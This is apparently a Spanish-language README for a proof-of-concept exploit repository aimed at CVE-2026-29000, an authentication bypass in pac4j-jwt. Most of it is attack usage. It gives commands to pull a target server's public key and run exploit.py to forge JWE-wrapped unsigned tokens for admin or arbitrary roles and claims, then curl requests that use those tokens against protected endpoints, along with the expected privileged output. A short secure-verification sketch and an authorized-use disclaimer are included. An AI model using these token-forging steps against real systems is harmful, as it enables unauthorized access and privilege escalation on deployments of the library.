
Exploit para CVE-2026-29000, una omisión de autenticación JWT en pac4j-jwt mediante PlainJWT envuelto en JWE, que permite la falsificación de tokens y la escalada de privilegios.
Omisión de autenticación JWT en pac4j-jwt mediante PlainJWT envuelto en JWE
CVE-2026-29000 es una vulnerabilidad crítica de omisión de autenticación que afecta a las versiones de pac4j-jwt anteriores a 4.5.9, 5.7.9 y 6.3.3. La vulnerabilidad permite a atacantes remotos falsificar tokens de autenticación y omitir la verificación de firmas.
La vulnerabilidad existe en el componente JwtAuthenticator al procesar JWT cifrados (JWE). Cuando se recibe un token JWE:
exploit.py - Script de exploit en Python para generar tokens maliciososvulnerable_server.py - Servidor de demostración que simula la vulnerabilidadrequirements.txt - Dependencias de PythonREADME.md - Este archivo# Clonar el repositorio
git clone https://github.com/RootX111/cve-2026-29000.git
cd cve-2026-29000
# Instalar dependencias
pip3 install -r requirements.txt
python3 vulnerable_server.py
El servidor:
server_private.pem y server_public.pem)En un escenario de ataque real, obtenga la clave pública del servidor objetivo:
# Descargar la clave pública del endpoint JWKS
curl http://target-server.com/jwks > target_jwks.json
# O endpoint directo de clave pública
curl http://target-server.com/public-key > target_public.pem
Para el servidor de pruebas:
curl http://127.0.0.1:5000/public-key > server_public.pem
Use el script de exploit para crear un PlainJWT envuelto en JWE:
# Uso básico - autenticarse como admin
python3 exploit.py --subject admin --roles ROLE_ADMIN --public-key server_public.pem
# Autenticarse como usuario específico con múltiples roles
python3 exploit.py --subject john.doe --roles ROLE_USER,ROLE_MANAGER --public-key server_public.pem
# Añadir claims personalizados
python3 exploit.py --subject admin --roles ROLE_ADMIN --public-key server_public.pem \
--claims '{"email":"[email protected]","department":"IT"}'
# Guardar token en un archivo
python3 exploit.py --subject admin --roles ROLE_ADMIN --public-key server_public.pem \
--output malicious_token.txt
# Establecer el token malicioso (copiar de la salida de exploit.py)
TOKEN="eyJhbGciOiJSU0EtT0FFUC0yNTYiLCJlbmMiOiJBMjU2R0NNIn0..."
# Acceder al endpoint público (debería funcionar)
curl http://127.0.0.1:5000/api/public
# Acceder al endpoint de usuario con token malicioso (¡OMISIÓN!)
curl -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/user
# Acceder al endpoint de admin con token malicioso (¡ESCALADA DE PRIVILEGIOS!)
curl -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/admin
Salida esperada del endpoint de admin:
{
"status": "success",
"message": "Admin endpoint accessed - RESTRICTED DATA",
"user": "admin",
"roles": ["ROLE_ADMIN"],
"secret_data": "FLAG{CVE-2026-29000_JWT_BYPASS_SUCCESS}",
"admin_info": "This is sensitive administrative data"
}
# 1. Instalar dependencias
pip3 install -r requirements.txt
# 2. Iniciar servidor vulnerable (en terminal 1)
python3 vulnerable_server.py
# 3. En una nueva terminal, obtener la clave pública
curl http://127.0.0.1:5000/public-key > server_public.pem
# 4. Generar token de admin malicioso
python3 exploit.py --subject admin --roles ROLE_ADMIN --public-key server_public.pem --output token.txt
# 5. Extraer token a variable
TOKEN=$(cat token.txt)
# 6. Probar endpoint público (línea base - sin autenticación necesaria)
curl http://127.0.0.1:5000/api/public
# 7. Probar endpoint de usuario (debería funcionar con nuestro token malicioso)
curl -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/user
# 8. Probar endpoint de admin (ÉXITO DEL EXPLOIT - debería acceder a datos restringidos)
curl -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/admin
# 9. Verificar que la respuesta contiene la flag
curl -s -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/admin | grep -o 'FLAG{.*}'
python3 exploit.py --subject [email protected] --roles ROLE_USER --public-key server_public.pem
python3 exploit.py --subject attacker --roles ROLE_ADMIN,ROLE_SUPERUSER --public-key server_public.pem
python3 exploit.py --subject hacker --roles ROLE_ADMIN --public-key server_public.pem \
--claims '{"email":"[email protected]","isVerified":true,"permissions":["*"]}'
usage: exploit.py [-h] [--subject SUBJECT] [--roles ROLES] [--public-key PUBLIC_KEY]
[--claims CLAIMS] [--generate-keypair] [--output OUTPUT]
CVE-2026-29000: Generate malicious JWE-wrapped PlainJWT tokens
options:
-h, --help show this help message and exit
--subject SUBJECT, -s SUBJECT
Subject (username) to impersonate
--roles ROLES, -r ROLES
Comma-separated list of roles (e.g., ROLE_ADMIN,ROLE_USER)
--public-key PUBLIC_KEY, -k PUBLIC_KEY
Path to RSA public key PEM file
--claims CLAIMS, -c CLAIMS
Additional claims as JSON string
--generate-keypair, -g
Generate a test RSA keypair and save to files
--output OUTPUT, -o OUTPUT
Output file for the generated token
1. El cliente envía JWT con firma
2. El servidor verifica la firma con la clave pública
3. Si es válida, extrae los claims
4. Concede acceso según los claims
1. El atacante obtiene la clave pública RSA del servidor
2. El atacante crea un PlainJWT (alg: none) con claims arbitrarios
Ejemplo: {"sub": "admin", "roles": ["ROLE_ADMIN"]}
3. El atacante cifra el PlainJWT usando JWE con la clave pública del servidor
4. El servidor descifra el JWE correctamente
5. El servidor extrae los claims del PlainJWT interno SIN verificación de firma
6. El servidor concede acceso basándose en los claims falsificados
La vulnerabilidad ocurre porque:
def verify_jwe_token_secure(token, private_key):
# 1. Descifrar JWE
inner_jwt = decrypt_jwe(token, private_key)
# 2. Analizar el encabezado del JWT interno
header = parse_jwt_header(inner_jwt)
# 3. CRÍTICO: Verificar que el algoritmo no sea "none"
if header.get('alg') == 'none':
raise SecurityError("PlainJWT not allowed")
# 4. CRÍTICO: Verificar la firma del JWT interno
if not verify_jwt_signature(inner_jwt, public_key):
raise SecurityError("Invalid JWT signature")
# 5. Extraer claims solo después de la verificación
return extract_claims(inner_jwt)
pip3 install -r requirements.txtpython3 vulnerable_server.pycurl http://127.0.0.1:5000/public-key > server_public.pempython3 exploit.py --subject admin --roles ROLE_ADMIN --public-key server_public.pemcurl http://127.0.0.1:5000/api/publiccurl -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/usercurl -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/admin# Configuración y prueba en una sola línea
pip3 install -r requirements.txt && \
python3 vulnerable_server.py &
sleep 2 && \
curl http://127.0.0.1:5000/public-key > server_public.pem && \
python3 exploit.py --subject admin --roles ROLE_ADMIN --public-key server_public.pem --output token.txt && \
TOKEN=$(cat token.txt) && \
echo "Testing exploit..." && \
curl -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/admin
Esta herramienta se proporciona únicamente con fines educativos y de pruebas de seguridad autorizadas. El acceso no autorizado a sistemas informáticos es ilegal. Use esta herramienta solo contra sistemas que posea o para los que tenga permiso explícito de prueba.
Licencia MIT - Solo con fines educativos
Investigador de seguridad Fecha: 2026-03-16
FLAG{CVE-2026-29000_JWT_BYPASS_SUCCESS}